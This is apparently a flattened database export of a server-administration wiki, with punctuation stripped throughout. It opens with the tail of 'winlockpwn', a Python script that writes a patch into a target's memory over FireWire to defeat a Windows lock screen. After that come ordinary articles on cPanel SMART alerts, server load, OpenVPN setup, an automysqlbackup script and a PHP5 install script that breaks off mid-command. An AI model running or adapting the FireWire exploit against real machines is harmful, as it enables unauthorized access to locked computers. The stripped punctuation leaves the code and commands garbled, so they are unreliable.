print uh oh signature crosses page boundary this isn\'t supported sys exit 1 if so p patchoffset chunk print uh oh patch offset crosses page boundary this isn\'t supported sys exix 1 print init firwire port d node d port node h firewire host n h port node print snarfin\' memories sys stdout flush dumppage false won false startt time time last 0 for p in target phase try print phase s p name except keyerror pass signatureoffset p pageoffset eviloffset p patchoffset payload binascii unhexlify p patch pattern binascii unhexlify p sig eviladdr none for offset in range start end chunk now time time if now last 1 last now print rchecking for signature on page at 0x 08x dkb at d kb s offset offset 1024 offset - start now - startt 1024 sys stdout flush for so in signatureoffset mem n read offset so len pattern if mem pattern print found signature at 0x 08x offset so eviladdr offset so p patchoffset if dumppage fo open winlockpwn dumppage 0x 08x offset w fo write n read offset chunk fo close break if eviladdr none won true print setting up teh bomb n write eviladdr payload print donezor verify n read eviladdr len payload print verified evil 0x s binascii hexlify verify if dumppage fo open winlockpwn dumppage 0x 08x patched offset w fo write n read offset chunk fo close if p has_key keepgoing and p keepgoing eviladdr none else break if won print you may proceed with your nefarious plans else print noh noes you didn\'t win endt time time print elapsed time d seconds endt - startt '),(68,'handy linux commands',' great shell tools & commands to run a command every few seconds and observe the resutls #watch -n2 w runs w command every 2 seconds good command reference links good command reference links good command reference links how to use the find command like a pro '),(70,'cpanel smart errors',' cpanel smart errors cpanel is not terribly intelligent about interpreting smart errors or how it runs the smart monitoring or analysis scripts as a result is is pretty common to receive cpanel smart alerts which are bogus however - that does not mean that all such cpanel smart messages are false and it certainly doe not mean smart errors in general should be ignored far from it this article is aimed and clarifying erroneous cpanel smart warnings for far more information on smart in general see the full article on smart drive diagnostics here is an all too typical example of a false cpanel smart warning s m a r t errors on dev sdb from command usr sbin smartctl -q errorsonly -h -l selftest -l error dev sdb please note the following marginal attributes id# attribute_name flag value worst thresh type updated when_failed raw_value 190 unknown_attribute 0x0022 065 040 045 old_age always in_the_past 35 ----end dev sdb-- now here is  why  this is false and how you can tell 1 the message reports the script being run is usr sbin smartctl -q errorsonly -h -l selftest -l error dev sdb if you have sata drives this will just not work the smartctl script requires the additional -d ata argument so this script is likely going to fail 2 look closely at the attribute being reported 190 unknown_attribute this is not a critical drive attribute though it may have recorded an error it does not mean there is a critical drive issue 3 now this is very important even if the script does run correctly and even if it reports true errors it does not differentiate between and error that happened today or one from 3 years ago this script just shows all errors ever recorded not particularly useful you can run the above script in the shell modify the arguments as needed and see what it really reports and play around with this and see here is an example of the script running correctly and the output produced callandor # usr sbin smartctl -q errorsonly -h -l selftest -l error dev sdb warning ata error count 1338 inconsistent with error log pointer 5 ata error count 1338 device log contains only the most recent five errors error 1338 occurred at disk power-on lifetime 0 hours 0 days 0 hours error 1337 occurred at disk power-on lifetime 8076 hours 336 days 12 hours error 1336 occurred at disk power-on lifetime 8053 hours 335 days 13 hours error 1335 occurred at disk power-on lifetime 7562 hours 315 days 2 hours error 1334 occurred at disk power-on lifetime 7360 hours 306 days 16 hours in this case the error reported is not a numbered smart attribute from the list of monitored attributes but rather the ata error count that is because on this drive there are no errors reported in those attributes thus only the ata error count is shown note it also gives the hours of when these occurred so how long ago was that does it matter good question to determine this examine the power_on_hours attribute or you can run the short test and then examine the results see scripts below and the full article on smart drive diagnostics you might also get output showing the total number of reallocated sectors or pending sectors these are definitely worth investigating further note all these examples are significantly different from the first cpanel output example take a look at that one again - it should be clear now that it in fact means nothing really actually useful smart commands actually useful smart commands actually useful smart commands okay - so the cpanel script is not very helpful but you can certainly use these commands for predict and analyze real drive issues smartctl -a dev hda smartctl -a -d ata dev sda ---- for sata drives smartctl -t short dev sdb this runs a short test on the drive you then view the results with the above commands note you can even just schedule these to run as a cron job and pipe the output to mail you youremail com to automate this there are also various scripts you can customize for smartd and smartctl these scripts are usually in there are example scripts included with smartmontools these are usually located in a location like usr share doc smartmontools-5 33 examplescripts usr local etc smartd conf settings for smartd which controls monitoring see the readme for more information there are many other scripts you can find on line people have developed to run as cron jobs etc and watch attributes sending notification when criteria are met etc make it stop make it stop make it stop to disable these cpanel messages #touch var cpanel disablesmartcheck however be aware that you absolutely should manually check the smart status of your drive and interpret the results on a regular basis smart is quite useful and just might save the day for you but it must be properly used to be effective '),(71,'high server loads and you',' my server load is high is your sever running so slow it takes 10 minutes for a site to come up does logging into ssh take so long that your hair noticeably grows in the process have you received warning messages from cpanel or other monitoring scripts saying there is a high load don\'t panic there is a way to true enlightenment why oh why is the load so high why oh why is the load so high why oh why is the load so high okay - you need data useful data then you can figure out what is going on while there is no cookie-cutter template of actions that will solve all high load issues here is a general approach to take first - you need to collect information this will allow you zero in on the root cause of the issue work from the top down narrowing in as you go you will find the reasons or at least get very close if you are persistent you will find the reason take it as an opportunity to learn more about your server and how it works this will come in very handy in the future research steps research steps research steps you might want to take the following actions 1 log into your sago customer portal site examine the bandwidth graph for the affected server is there extremely high inbound and outbound traffic very high inbound traffic in particular can indicate you are under a dos attack if this is the case you can narrow your search in this direction 2 if bandwidth usage looks okay but load is still extremely high try logging in and running top and look for what processes are consuming the most cpu resource are apache or mysql or php running processes listed as using all the resources if so you can narrow the search in that direction there are all manner of shell commands to assist you but the most basic are archimedes anduril w 14 35 47 up 3 days 4 52 1 user load average 0 05 0 15 0 16 user tty from login idle jcpu pcpu what shows the 1 5 and 15 minute load average you can monitor this with archimedes anduril watch -n 1 w run this is a separate shell session or in a screen session these figures are your indicators of if you are affecting anything also you can use the ps and netstat shell commands - they are great  load average note  what the heck are these numbers well here is the uber simple answer you want the number to be equal to or less than 1 0 for each processor so a load of 4 on a dual p4d system is utterly fine and it has 4 cpu cores a single core cpu server would ideally have a load average of about 1 or less however all that means is that the cpu has enough active processes on it with demand enough to keep it essentially busy a server can still run fine with a load of 5 but if you see load averages of 10 15 35 etc you have a problem read on   3 if you know or suspect apache mysql or other services to be the culprit stop them individually and wait at least a few minutes to see if this affects the load average - if it goes down then that was it congratulations now if you just never start them again you will be fine just kidding if you isolate the offending process you can then isolate the users actions running it and then modify permissions block that ip etc to address the issue you stop them with commands like root tardis # service httpd stop stopping httpd ok root tardis # service mysql stop mysql unrecognized service root tardis # service mysqld stop stopping mysql ok you restart them oddly by specifying start rather then stop and the option status will - well you get it  mysql note   sometimes load is caused by tons of mysql activity one way to investigate this is to run the mysql client in the shell callandor # mysql welcome to the mysql monitor commands end with ; or g your mysql connection id is 2 server version 5 0 45 suse mysql rpm type \'help;\' or \' h\' for help type \' c\' to clear the buffer mysql show processlist; ---- ------ ----------- ------ --------- ------ ------- ------------------ id user host db command time state info ---- ------ ----------- ------ --------- ------ ------- ------------------ 2 root localhost null query 0 null show processlist ---- ------ ----------- ------ --------- ------ ------- ------------------ 1 row in set 0 00 sec mysql quit bye that shows mysql is so bored and lonely it is practically pining away if you get 63 pages of results well - you have perhaps stuck an auspicious line of research to help ferret out mysql activity you can also try mytop which is like the top shell command for mysql - very nice see mytop - sql monitor for a quick and easy usually install of this  php php suexec  processes in top or ps will show as being run by the webserver user apache nobody etc rather than the actual user running them this makes it hard to tell what user is running what the answer is suexec and if you have cpanel you can simply recompile apache and php to include this option now you can identify the offending user account and zero in from there 4 look at your logs yes everyone always tells you that right well remember on a linux server just about everything is logged unauthorized access attempts to you server feeling cranky - it all gets logged the problem of course -  where   i feel your pain i do but wait hope is not yet lost there is this amazingly nifty tool that let you basically google your logs yep tight it it\'s called splunk and you can read all about it here splunk log analyzer it will give you a time line view off all your primary logs you can zoom in and out on the time line and search for data in all the logs you set up to monitor installing this is actually very easy and will be a great tool at your disposal 5 okay - you have seen splunk shows when you had the most log entries going on and give you a lot - oh my god a friggen lot - of data but i thought we were talking about high server loads man you are sharp thought i could be a bit dodgy but i guess not how do you relate when server loads are high to this log activity time for another tool you need system performance and reporting information how about a beautiful graph that shows you cpu usage memory and swap usage and all kinds of yummy performance info displayed in aesthetically pleasing graphs this is easy see the article on system reporting - sar & ksar it it\'s easy - i mean seriously easy to use sar and the graphical java tool ksar that will create these type of server performance graphs server warrior server warrior server warrior now you are armed now you have information and powerful weapons to wield now you know the tao of server load analyses now just put it all together using shell commands like top and ps you can examine currently running processes by shutting down services when load is actively high you can see what service is responsible for the load by analyzing log files with splunk you can see exactly what was going on at that time if the load is intermittent and you keep missing it by the time you get on to troubleshoot you can pull a report with ksar and see a graph for any day and easily see when the load was high then zero in on the log time line view in splunk to see what was occurring additional resources additional resources additional resources why is my server slow '),(72,'openvpn server',' installing setting up openvpn using a shared static key between two computers is extremely easy it can literally be done in a few minutes the instructions for doing so can be found at the one draw back to this is that this is only for connecting two computers if you want to connect several clients to the server you will need to make keys for them all and create a certificate authority etc openvpn is very well supported and is widely used thus you will likely find it in your distro distro\'s repository installing should be as simple as yum install openvpn  provision   openvpn depends on a kernel space module to create the vpn tunneling device check to see if you have it by running lsmod in the shell look for an entry called tun for tunnel if you don\'t have the kernel module you will likely need to compile it an article showing how i did this for my coblat xtr see sun_cobalt_xtr_server the procedure will likely be extremely similar on your distro once you have the kernel sources configuring static key configuring static key configuring static key   try this method first and get it working then if needed use the certificate authority method below   the static key mini how-to link above is very good and show exactly what to put in the client and server config files they are only a few lines  you might want to copy the usr share openvpn to etc both for convenience and to preserve the original   all my examples and staticly set paths in my config files assume this you will need to make the static key on the server then scp it to the client making the key is as easy as openvpn --genkey --secret static key to quickly move it to the other server scp -p 22 static key root otherserver ip address etc openvpn keys 22 is the ssh port and this again assumes you have copied the openvpn directory to etc once you have them on the respective system just start openvpn specifying the appropriate config file root tardis openvpn # openvpn client-static-openvpn conf & starts the service on the client system the config file i used looks like root tardis openvpn # cat client-static-openvpn conf remote server ip address here dev tun ifconfig 10 8 0 2 10 8 0 1 secret etc openvpn keys server-home-static key #just use the full path to the key you made on the server start openvpn on the server using the same process my server config was as simple as callandor etc openvpn # cat server-static conf dev tun ifconfig 10 8 0 1 10 8 0 2 secret etc openvpn keys server-home-static key skip ahead to the testing section configure certificate authority configure certificate authority configure certificate authority this was more tricky read the install documentation carefully you might want to copy the usr share openvpn to etc both for convenience and to preserve the original note i am in the 2 0 directory - there are var and clean-all scripts both here and in the directory above it yep i believe you have to make the keys directory callandor etc openvpn easy-rsa 2 0 # source vars note if you run clean-all i will be doing a rm -rf on etc openvpn easy-rsa 2 0 keys callandor etc openvpn easy-rsa 2 0 # clean-all callandor etc openvpn easy-rsa 2 0 # build-ca generating a 1024 bit rsa private key writing new private key to \'ca key\' ----- you are about to be asked to enter information that will be incorporated into your certificate request what you are about to enter is what is called a distinguished name or a dn there are quite a few fields but you can leave some blank for some fields there will be a default value if you enter \' \' the field will be left blank ----- country name 2 letter code us if you run into this callandor etc openvpn easy-rsa # clean-all you must define key_dir it means you did not actually source the vars file see the first command again once the above is complete you will have a set of files made in the keys directory see above link for full details - essentially create keys for the server itself and then the client systems you then move these files to the client ca crt client1 crt client1 csr client1 key you of course also need to configure a config file for both server and client templates for each can be found at usr share doc openvpn-2 0 9 sample-config-files client conf they are well annotated and you just specify the path to the key files on each note the server assigns the ip from a dhcp like pool thus no source and destination ips for the vpn are needed in the client config - only the public ip of the server configuration files configuration files configuration files lots of good template configs and helper scripts can be found in # ls usr share doc packages openvpn sample-config-files client conf loopback-client openvpn-shutdown sh server conf tls-home conf xinetd-server-config firewall sh loopback-server openvpn-startup sh static-home conf tls-office conf home up office up readme static-office conf xinetd-client-config testing the vpn testing the vpn testing the vpn once openvpn starts on the client and server systems you will see a new network interface most likely named tun0 ifconfig will show something like tun0 link encap unspec hwaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 inet addr 10 8 0 1 p-t-p 10 8 0 2 mask 255 255 255 255 up pointopoint running noarp multicast mtu 1500 metric 1 rx packets 53435 errors 0 dropped 0 overruns 0 frame 0 tx packets 41233 errors 0 dropped 0 overruns 0 carrier 0 collisions 0 txqueuelen 100 rx bytes 61506023 58 6 mb tx bytes 27318342 26 0 mb now just try to ping from one to the other - ping 10 8 0 2 from the server and you should get a reply speed test speed test speed test nttcp is a great tool to test network speeds with so you can see what kind of performance you are getting on the vpn if nttcp is not in your repos you can find the source for it or find an rpm pretty easily a red hat centos one is at www timelordz com nttcp i386 rpm you run it on both system run it with -i on the listening system then on the other run root tardis openvpn # nttcp -t -t 10 8 0 1 bytes real s cpu s real-mbit s cpu-mbit s calls real-c s cpu-c s l 8388608 10 44 0 07 6 4309 932 0158 2048 196 25 28442 9 1 8388608 10 47 0 08 6 4091 882 9533 6201 592 21 81586 7 root tardis openvpn # nttcp -t -r 10 8 0 1 bytes real s cpu s real-mbit s cpu-mbit s calls real-c s cpu-c s l 8388608 144 56 0 15 0 4642 441 4824 6175 42 72 40622 9 1 8388608 140 91 0 02 0 4762 3355 2754 2048 14 53 102394 9 the first example with -t is the transmit test to the listening end the second example runs with the -r argument which r ecieves data from the listening end this test was run from the client to the server the -t transmit speeds were about 6 4 mbit a second however the server running on a home system over a cable connection pushed back at only 46 mbit a second '),(73,'mysql database backup script',' backing up mysql there are several ways to back up your mysql databases one important thing to keep in mind however is you do not want to simply copy the files from your mysql directory without first shutting down mysql otherwise data corruption will result one option is a script that will shut down mysql and then copy the files this will work but a better approach is to use the nifty script automysqlbackup sh 2 5 available from # mysql backup script # ver 2 5 - # copyright c 2002-2003 wipe_out lycos co uk this will lock the tables so data corruption does not result and also includes backup rotations it will not require shutting down mysql completely as it will exclusively lock each table in turn - thus others remain accessible and the server can still be up with other databases accessible during the process please note it is very unwise to backup your databases to the same physical hard drive always move them to a mountpoint that is on another drive or better to another server in another facility all together as a suggestion set the backup directory to backups which is on a secondary drive in your server then set a cron job to scp the directory that automysqlback uses to transfer it off to the remote server on-line backup space etc or be fancy and mount a filesystem on a remote server using nfs or sshfs so it appears as local and have the backups then stored remotely with an additional transfer step needed get as fancy as you want but realize each new layer adds dependencies that can break configuring and using configuring and using configuring and using there are only a very few things you need to edit in automysqlbackup sh first make sure the file is executable  chmod 744 automysqlbackup sh  will make it so next edit the file to set your preference detailed instructions for the options are included in the script itself note make sure the directory you point backupdir to is both mounted and accessible to the user running the script - can you as this user access and create files in that directory to check just go there and do a  touch test  to make a blank file and verify read write permissions are correct  note    you do not need to make the script stop mysql or otherwise stop it first in fact the script depends on mysql running this may be different that other methods and scripts you have used to backup mysql before   once the script is configured you can just run it and verify it works # automysqlbackup sh 2 5 it will display the results of the backup and give a good summary  how do i automate it hdiai   two ways simple move the automysqlbackup sh script to etc cron daily or set up a crontab job to run and the specified times etc moving it to etc cron daily is very easy using crontab gives a bit more control but honestly for this script it is not really needed moving it to etc cron daily will run it as root of course you can set it up to run under a specific user and put it in that users crontab - make sure this user has mysql select permissions minimum verifying backups and restoring verifying backups and restoring verifying backups and restoring never - i do mean ever - assume any automated backup process will cover your ass for you you must always verify that the backups are actually being made appear to be sensible sizes not empty and are not corrupt set the email notification option and examine the emails look at the directories yourself too and once in a while do a test restore to make sure it really works  restore   the script lists the mysql commands needed to restore a database from a backup section restoring however be aware you may overwrite the existing one in the process best to either make a new backup of it first or just restore onto another server and verify import is okay a wonderfull tool for importing exporting mysql databases is of course phpmyadmin - i highly recommend this as a management tool however it does not do full automated and scheduled backups with backup rotation - hence this script note the backups you have made are likely gz files so you will need to unzip them first before trying to restore them using mysql or phpmyadmin  gunzip backupname tar  the actual script the actual script the actual script get it right here or from # bin bash # # mysql backup script # ver 2 5 - # copyright c 2002-2003 wipe_out lycos co uk # # this program is free software; you can redistribute it and or modify # it under the terms of the gnu general public license as published by # the free software foundation; either version 2 of the license or # at your option any later version # # this program is distributed in the hope that it will be useful # but without any warranty; without even the implied warranty of # merchantability or fitness for a particular purpose see the # gnu general public license for more details # # you should have received a copy of the gnu general public license # along with this program; if not write to the free software # foundation inc 59 temple place suite 330 boston ma 02111-1307 usa # # # # set the following variables to your system needs # detailed instructions below variables # # username to access the mysql server e g dbuser username dbuser # username to access the mysql server e g password password password # host name or ip address of mysql server e g localhost dbhost localhost # list of dbnames for daily weekly backup e g db1 db2 db3 dbnames db1 db2 db3 # backup directory location e g backups backupdir backups # mail setup # what would you like to be mailed to you # - log send only log file # - files send log file and sql files as attachments see docs # - stdout will simply output the log to the screen if run manually # - quiet only send logs if an error occurs to the mailaddr mailcontent stdout # set the maximum allowed email size in k 4000 approx 5mb email see docs maxattsize 4000 # email address to send mail to user domain com mailaddr user domain com # # advanced options read the doc doc\'s below for details # # list of dbbnames for monthly backups mdbnames mysql dbnames # list of dbnames to exlucde if dbnames are set to all must be in quotes dbexclude # include create database in backup create_database yes # separate backup directory and file for each db yes or no sepdir yes # which day do you want weekly backups 1 to 7 where 1 is monday doweekly 6 # choose compression type gzip or bzip2 comp gzip # compress communications between backup server and mysql server commcomp no # additionally keep a copy of the most recent backup in a seperate directory latest no # the maximum size of the buffer for client server communication e g 16mb maximum is 1gb max_allowed_packet # for connections to localhost sometimes the unix socket file must be specified socket # command to run before backups uncomment to use #prebackup etc mysql-backup-pre # command run after backups uncomment to use #postbackup etc mysql-backup-post # # options documantation # # set username and password of a user that has at least select permission # to all databases # # set the dbhost option to the server you wish to backup leave the # default to backup this server to backup multiple servers make # copies of this file and set the options for that server # # put in the list of dbnames databases to be backed up if you would like # to backup all dbs on the server set dbnames all if set to all then # any new dbs will automatically be backed up without needing to modify # this backup script when a new db is created # # if the db you want to backup has a space in the name replace the space # with a e g data base will become data base # note spaces in db names may not work correctly when sepdir no # # you can change the backup storage location from backups to anything # you like by using the backupdir setting # # the mailcontent and mailaddr options and pretty self explanitory use # these to have the backup log mailed to you at any email address or multiple # email addresses in a space seperated list # if you set mail content to log you will require access to the mail program # on your server if you set this to files you will have to have mutt installed # on your server if you set it to stdout it will log to the screen if run from # the console or to the cron job owner if run through cron if you set it to quiet # logs will only be mailed if there are errors reported # # maxattsize sets the largest allowed email attachments total all backup files you # want the script to send this is the size before it is encoded to be sent as an email # so if your mail server will allow a maximum mail size of 5mb i would suggest setting # maxattsize to be 25 smaller than that so a setting of 4000 would probably be fine # # finally copy automysqlbackup sh to anywhere on your server and make sure # to set executable permission you can also copy the script to # etc cron daily to have it execute automatically every night or simply # place a symlink in etc cron daily to the file if you wish to keep it # somwhere else # note on debian copy the file with no extention for it to be run # by cron e g just name the file automysqlbackup # # thats it # # # advanced options doc doc\'s # # the list of mdbnames is the db db\'s to be backed up only monthly you should # always include mysql in this list to backup your user password # information along with any other dbs that you only feel need to # be backed up monthly if using a hosted server then you should # probably remove mysql as your provider will be backing this up # note if dbnames all then mdbnames has no effect as all dbs will be backed # up anyway # # if you set dbnames all you can configure the option dbexclude other # wise this option will not be used # this option can be used if you want to backup all dbs but you want # exclude some of them eg a db is to big # # set create_database to yes the default if you want your sql-dump to create # a database with the same name as the original database when restoring # saying no here will allow your to specify the database name you want to # restore your dump into making a copy of the database by using the dump # created with automysqlbackup # note not used if sepdir no # # the sepdir option allows you to choose to have all dbs backed up to # a single file fast restore of entire server in case of crash or to # seperate directories for each db each db can be restored seperately # in case of single db corruption or loss # # to set the day of the week that you would like the weekly backup to happen # set the doweekly setting this can be a value from 1 to 7 where 1 is monday # the default is 6 which means that weekly backups are done on a saturday # # comp is used to choose the copmression used options are gzip or bzip2 # bzip2 will produce slightly smaller files but is more processor intensive so # may take longer to complete # # commcomp is used to enable or diable mysql client to server compression so # it is useful to save bandwidth when backing up a remote mysql server over # the network # # latest is to store an additional copy of the latest backup to a standard # location so it can be downloaded bt thrid party scripts # # if the db db\'s being backed up make use of large blob fields then you may need # to increase the max_allowed_packet setting for example 16mb # # when connecting to localhost as the db server dbhost localhost sometimes # the system can have issues locating the socket file this can now be set # using the socket parameter an example may be socket private tmp mysql sock # # use prebackup and postbackup to specify per and post backup commands # or scripts to perform tasks either before or after the backup process # # # # backup rotation # # # daily backups are rotated weekly # weekly backups are run by default on saturday morning when # cron daily scripts are run can be changed with doweekly setting # weekly backups are rotated on a 5 week cycle # monthly backups are run on the 1st of the month # monthly backups are not rotated automatically # it may be a good idea to copy monthly backups offline or to another # server # # # please note # # # i take no resposibility for any data loss or corruption when using # this script # this script will not help in the event of a hard drive crash if a # copy of the backup has not be stored offline or on another pc # you should copy your backups offline regularly for best protection # # happy backing up # # # restoring # # firstly you will need to uncompress the backup file # eg # gunzip file gz or bunzip2 file bz2 # # next you will need to use the mysql client to restore the db from the # sql file # eg # mysql --user username --pass password --host dbserver database path file sql # or # mysql --user username --pass password --host dbserver -e source path file sql database # # note make sure you use and not in the above command because # you are piping the file sql to mysql and not the other way around # # lets hope you never have to use this # # # change log # # # ver 2 5 - 2006-01-15 # added support for setting maximum_packet_size and socket parameters suggested by yvo van doorn # ver 2 4 - 2006-01-23 # fixed bug where weekly backups were not being rotated fix by wolf02 # added hour an min to backup filename for the case where backups are taken multiple # times in a day note this is not complete support for mutiple executions of the script # in a single day # added mailcontent quiet option see docs for details requested by snowsam # updated path statment for compatibility with osx # added latest to additionally store the last backup to a standard location request by grant29 # ver 2 3 - 2005-11-07 # better error handling and notification of errors a long time coming # compression on backup server to mysql server communications # ver 2 2 - 2004-12-05 # changed from using depricated -n to --skip-column-names # added ability to have compressed backup backup\'s emailed out code from thomas heiserowski # added maximum attachment size setting # ver 2 1 - 2004-11-04 # fixed a bug in daily rotation when not using gzip compression fix by rob rosenfeld # ver 2 0 - 2004-07-28 # switched to using io redirection instead of pipeing the output to the logfile # added choice of compression of backups being gzip of bzip2 # switched to using functions to facilitate more functionality # added option of either gzip or bzip2 compression # ver 1 10 - 2004-07-17 # another fix for spaces in the paths fix by thomas von eyben # fixed bug when using prebackup and postbackup commands containing many arguments # ver 1 9 - 2004-05-25 # small bug fix to handle spaces in logfile path which contains spaces reported by thomas von eyben # updated docs to mention that log email can be sent to multiple email addresses # ver 1 8 - 2004-05-01 # added option to make backups restorable to alternate database names # meaning that a copy of the database can be created based on patch by rene hoffmann # seperated options into standard and advanced # removed from single file dump dbmanes because it caused an error but # this means that if db db\'s have spaces in the name they will not dump when sepdir no # added -p option to mkdir commands to create multiple subdirs without error # added disk usage and location to the bottom of the backup report # ver 1 7 - 2004-04-22 # fixed an issue where weelky backups would only work correctly if server # locale was set to english issue reported by tom ingberg # used eval for rm commands to try and resolve rotation issues # changed name of status log so multiple scripts can be run at the same time # ver 1 6 - 2004-03-14 # added prebackup and postbackup command functions patch by markpustjens # added support for backing up db db\'s with spaces in the name # patch by markpustjens # ver 1 5 - 2004-02-24 # added the ability to exclude db db\'s when the all option is used # patch by kampftitan # ver 1 4 - 2004-02-02 # project moved to sourceforge net # ver 1 3 - 2003-09-25 # added support for backing up all databases on the server without # having to list each one seperately in the configuration # added db restore instructions # ver 1 2 - 2003-03-16 # added server name to the backup log so logs from multiple servers # can be easily identified # ver 1 1 - 2003-03-13 # small bug fix in monthly report thanks stoyanski # added option to email log to any email address inspired by stoyanski # changed standard file name to sh extention # option are set using yes and no rather than 1 or 0 # ver 1 0 - 2003-01-30 # added the ability to have all databases backup to a single dump # file or seperate directory and file for each database # output is better for log keeping # ver 0 6 - 2003-01-22 # bug fix for daily directory added in ver 0 5 rotation # ver 0 5 - 2003-01-20 # added daily directory for daily backups for neatness suggestion by jason # added dbhost option to allow backing up a remote server suggestion by jason # added --quote-names option to mysqldump command # bug fix for handling the last and first of the year week rotation # ver 0 4 - 2002-11-06 # added the abaility for the script to create its own directory structure # ver 0 3 - 2002-10-01 # changed naming of weekly backups so they will show in order # ver 0 2 - 2002-09-27 # corrected weekly rotation logic to handle weeks 0 - 10 # ver 0 1 - 2002-09-21 # initial release # # # # # # should not need to be modified from here down # # # # path usr local bin usr bin bin usr local mysql bin date date y- m- d_ hh mm # datestamp e g 2002-09-21 dow date a # day of the week e g monday dnow date u # day number of the week 1 to 7 where 1 represents monday dom date d # date of the month e g 27 m date b # month e g january w date v # week number e g 37 ver 2 5 # version number logfile backupdir dbhost- date n log # logfile name logerr backupdir errors_ dbhost- date n log # logfile name backupfiles opt --quote-names --opt # opt string for use with mysqldump see man mysqldump # add --compress mysqldump option to opt if commcomp yes ; then opt opt --compress fi # add --compress mysqldump option to opt if max_allowed_packet ; then opt opt --max_allowed_packet max_allowed_packet fi # create required directories if -e backupdir # check backup directory exists then mkdir -p backupdir fi if -e backupdir daily # check daily directory exists then mkdir -p backupdir daily fi if -e backupdir weekly # check weekly directory exists then mkdir -p backupdir weekly fi if -e backupdir monthly # check monthly directory exists then mkdir -p backupdir monthly fi if latest yes then if -e backupdir latest # check latest directory exists then mkdir -p backupdir latest fi eval rm -fv backupdir latest fi # io redirection for logging touch logfile exec 6 &1 # link file descriptor #6 with stdout # saves stdout exec logfile # stdout replaced with file logfile touch logerr exec 7 &2 # link file descriptor #7 with stderr # saves stderr exec 2 logerr # stderr replaced with file logerr # functions # database dump function dbdump mysqldump --user username --password password --host dbhost opt 1 2 return 0 # compression function plus latest copy suffix compression if comp gzip ; then gzip -f 1 echo echo backup information for 1 gzip -l 1 gz suffix gz elif comp bzip2 ; then echo compression information for 1 bz2 bzip2 -f -v 1 2 &1 suffix bz2 else echo no compression option set check advanced settings fi if latest yes ; then cp 1 suffix backupdir latest fi return 0 # run command before we begin if prebackup then echo echo prebackup command output echo eval prebackup echo echo echo fi if sepdir yes ; then # check if create databse should be included in dump if create_database no ; then opt opt --no-create-db else opt opt --databases fi else opt opt --databases fi # hostname for log information if dbhost localhost ; then host hostname if socket ; then opt opt --socket socket fi else host dbhost fi # if backing up all dbs on the server if dbnames all ; then dbnames mysql --user username --password password --host dbhost --batch --skip-column-names -e show databases sed \'s g\' # if dbs are excluded for exclude in dbexclude do dbnames echo dbnames sed s b exclude b g done mdbnames dbnames fi echo echo automysqlbackup ver ver echo echo echo backup of database server - host echo # test is seperate db backups are required if sepdir yes ; then echo backup start time date echo # monthly full backup of all databases if dom 01 ; then for mdb in mdbnames do # prepare db for using mdb echo mdb sed \'s g\' if -e backupdir monthly mdb # check monthly db directory exists then mkdir -p backupdir monthly mdb fi echo monthly backup of mdb dbdump mdb backupdir monthly mdb mdb _ date m mdb sql compression backupdir monthly mdb mdb _ date m mdb sql backupfiles backupfiles backupdir monthly mdb mdb _ date m mdb sql suffix echo ---------------------------------------------------------------------- done fi for db in dbnames do # prepare db for using db echo db sed \'s g\' # create seperate directory for each db if -e backupdir daily db # check daily db directory exists then mkdir -p backupdir daily db fi if -e backupdir weekly db # check weekly db directory exists then mkdir -p backupdir weekly db fi # weekly backup if dnow doweekly ; then echo weekly backup of database db echo rotating 5 weeks backups if w -le 05 ;then remw expr 48 w elif w -lt 15 ;then remw 0 expr w - 5 else remw expr w - 5 fi eval rm -fv backupdir weekly db_week remw echo dbdump db backupdir weekly db db _week w date sql compression backupdir weekly db db _week w date sql backupfiles backupfiles backupdir weekly db db _week w date sql suffix echo ---------------------------------------------------------------------- # daily backup else echo daily backup of database db echo rotating last weeks backup eval rm -fv backupdir daily db dow sql echo dbdump db backupdir daily db db _ date dow sql compression backupdir daily db db _ date dow sql backupfiles backupfiles backupdir daily db db _ date dow sql suffix echo ---------------------------------------------------------------------- fi done echo backup end date echo else # one backup file for all dbs echo backup start date echo # monthly full backup of all databases if dom 01 ; then echo monthly full backup of mdbnames dbdump mdbnames backupdir monthly date m all-databases sql compression backupdir monthly date m all-databases sql backupfiles backupfiles backupdir monthly date m all-databases sql suffix echo ---------------------------------------------------------------------- fi # weekly backup if dnow doweekly ; then echo weekly backup of databases dbnames echo echo rotating 5 weeks backups if w -le 05 ;then remw expr 48 w elif w -lt 15 ;then remw 0 expr w - 5 else remw expr w - 5 fi eval rm -fv backupdir weekly week remw echo dbdump dbnames backupdir weekly week w date sql compression backupdir weekly week w date sql backupfiles backupfiles backupdir weekly week w date sql suffix echo ---------------------------------------------------------------------- # daily backup else echo daily backup of databases dbnames echo echo rotating last weeks backup eval rm -fv backupdir daily dow sql echo dbdump dbnames backupdir daily date dow sql compression backupdir daily date dow sql backupfiles backupfiles backupdir daily date dow sql suffix echo ---------------------------------------------------------------------- fi echo backup end time date echo fi echo total disk space used for backup storage echo size - location echo du -hs backupdir echo echo echo if you find automysqlbackup valuable please make a donation at echo echo # run command when we\'re done if postbackup then echo echo postbackup command output echo eval postbackup echo echo fi #clean up io redirection exec 1 &6 6 &- # restore stdout and close file descriptor #6 exec 1 &7 7 &- # restore stdout and close file descriptor #7 if mailcontent files then if -s logerr then # include error log if is larger than zero backupfiles backupfiles logerr errornote warning error reported - fi #get backup size attsize du -c backupfiles grep digit space total sed s s total if maxattsize -ge attsize then backupfiles echo backupfiles sed -e s# # -a #g #enable multiple attachments mutt -s errornote mysql backup log and sql files for host - date backupfiles mailaddr logfile #send via mutt else cat logfile mail -s warning - mysql backup exceeds set maximum attachment size on host - date mailaddr fi elif mailcontent log then cat logfile mail -s mysql backup log for host - date mailaddr if -s logerr then cat logerr mail -s errors reported mysql backup error log for host - date mailaddr fi elif mailcontent quiet then if -s logerr then cat logerr mail -s errors reported mysql backup error log for host - date mailaddr cat logfile mail -s mysql backup log for host - date mailaddr fi else if -s logerr then cat logfile echo echo ###### warning ###### echo errors reported during automysqlbackup execution backup failed echo error log below cat logerr else cat logfile fi fi if -s logerr then status 1 else status 0 fi # clean up logfile eval rm -f logfile eval rm -f logerr exit status '),(74,'sago stuff list',' wikis to write adding range files to cpanel centos - ticket #83652 - to ip engineers adding spf records in cpanel drive not ready error messages projects projects projects imai and soe to use on dells for serial console access through bmc impi rev b1 motherboards lvm on installs tickless kernel options trip to atl research research research '),(75,'cpanel installing php5 and php4',' this is from # bin sh # # copyright c 2005 richard gannon all rights reserved # # author richard gannon # # this script will install php5 as a cgi on a cpanel server using the same configure # selections as the already built php4 you can have php scripts utilize the php5 # engine by using the php5 extension # # version 1 1 # ## php_version 5 0 5 wget usr bin wget grep bin grep tar bin tar awk bin awk cd usr src wget -o php tbz2 php_version tar bz2 from this mirror tar -xjvf php tbz2 rm -f php tbz2 wget 